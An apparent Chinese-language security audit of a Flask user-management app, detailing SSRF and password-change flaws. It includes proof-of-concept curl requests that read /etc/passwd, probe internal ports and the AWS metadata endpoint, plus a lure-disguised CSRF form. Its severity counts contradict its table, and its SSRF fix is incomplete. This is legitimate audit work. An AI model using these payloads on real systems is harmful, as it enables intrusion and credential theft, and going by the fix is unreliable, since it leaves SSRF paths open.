

用户管理系统 — 完整安全审计报告

项目名称：Flask 用户信息管理平台

审计日期：2026-07-13

漏洞总数：9

严重漏洞：6 | 中危漏洞：2 | 低危漏洞：1

漏洞清单

编号	漏洞类型	位置	严重性
V-001	SSRF 服务端请求伪造	/fetch-url	严重
V-002	CSRF 密码修改	/change-password	严重
V-003	越权改密	/change-password	严重
V-004	无原密码校验	/change-password	严重
V-005	IDOR 越权查资料	/profile?user_id=	严重
V-006	负金额充值	/recharge	严重
V-007	SQL注入（搜索）	?keyword=	严重
V-008	路径穿越	/page?name=../	严重
V-009	任意文件上传	/upload	中危

1. V-001 SSRF 服务端请求伪造

CWE: CWE-918: Server-Side Request Forgery (SSRF)

CVSS: 9.1 (Critical)

漏洞代码

```
import urllib.request

@app.route("/fetch-url", methods=["POST"])
```

```
def fetch_url():
    url = request.form.get("url", "")
    resp = urllib.request.urlopen(url, timeout=10)
    content = resp.read(5000)
```

问题：用户输入的 URL 未经任何校验直接传给 `urlopen()`，允许：- `file://` 协议读取本地文件 - `http://127.0.0.1` 访问内网服务 - `http://10.x.x.x` 扫描内网资产

POC : `file://` 协议读取系统文件

```
# 读取 /etc/passwd (Linux)
curl -X POST http://127.0.0.1:5000/fetch-url \
  -d "url=file:///etc/passwd"

# 读取 app.py 源码
curl -X POST http://127.0.0.1:5000/fetch-url \
  -d "url=file:///path/to/app.py"

# 读取数据库文件
curl -X POST http://127.0.0.1:5000/fetch-url \
  -d "url=file:///path/to/data/users.db"
```

POC : 内网端口扫描

```
# 扫描本机 MySQL 端口
curl -X POST http://127.0.0.1:5000/fetch-url \
  -d "url=http://127.0.0.1:3306"

# 扫描内网主机
curl -X POST http://127.0.0.1:5000/fetch-url \
  -d "url=http://10.0.0.1:22"

# 访问云元数据 API (AWS)
curl -X POST http://127.0.0.1:5000/fetch-url \
  -d "url=http://169.254.169.254/latest/meta-data/"
```

修复方案

```
import re
from urllib.parse import urlparse

def validate_url(url):
```

```
"""SSRF防御：白名单协议 + 禁止内网IP"""
parsed = urlparse(url)
# 白名单协议
if parsed.scheme not in ("http", "https"):
    raise ValueError("仅允许 http/https 协议")
# 禁止内网IP
host = parsed.hostname
if host in ("127.0.0.1", "localhost", "0.0.0.0"):
    raise ValueError("不允许访问内网地址")
if host.startswith("10.") or host.startswith("172.") or host.startswith("192.168."):
    raise ValueError("不允许访问内网地址")
return url
```

2. V-002/V-003/V-004 密码修改三重漏洞

漏洞代码

```
@app.route("/change-password", methods=["POST"])
def change_password():
    username = request.form.get("username", "")
    new_password = request.form.get("new_password", "")
    # 无CSRF Token、无原密码、无session校验
    c.execute("UPDATE users SET password = ? WHERE username = ?", (new_password, username))
```

POC : CSRF 攻击

```
<!-- 诱导已登录用户点击 -->
<form action="http://target:5000/change-password" method="POST">
    <input type="hidden" name="username" value="admin">
    <input type="hidden" name="new_password" value="hacked">
    <input type="submit" value="点击领红包">
</form>
```

POC : 越权改密

```
# 普通用户修改 admin 密码
curl -X POST http://127.0.0.1:5000/change-password \
    -d "username=admin&new_password=hacked123"
```

3. V-005 IDOR 越权查资料

4. V-006 负金额充值

5. V-007 SQL注入（搜索）

6. V-008 路径穿越

7. V-009 任意文件上传

（V-005 至 V-009 的详细分析见完整版报告）

修复方法汇总

漏洞	问题	修复方案
V-001 SSRF	无URL校验	协议白名单+内网IP黑名单
V-002 CSRF改密	无 CSRF Token	添加 CSRF 验证
V-003 越权改密	username从表单取	从 session 获取
V-004 无原密码	直接修改	验证原密码
V-005 IDOR查资料	user_id从URL取	从 session 获取
V-006 负金额	amount无校验	检查 amount>0
V-007 SQL注入	f-string拼接	参数化查询
V-008 路径穿越	直接拼接路径	realpath+前缀校验
V-009 文件上传	无校验	后缀白名单

报告日期：2026-07-13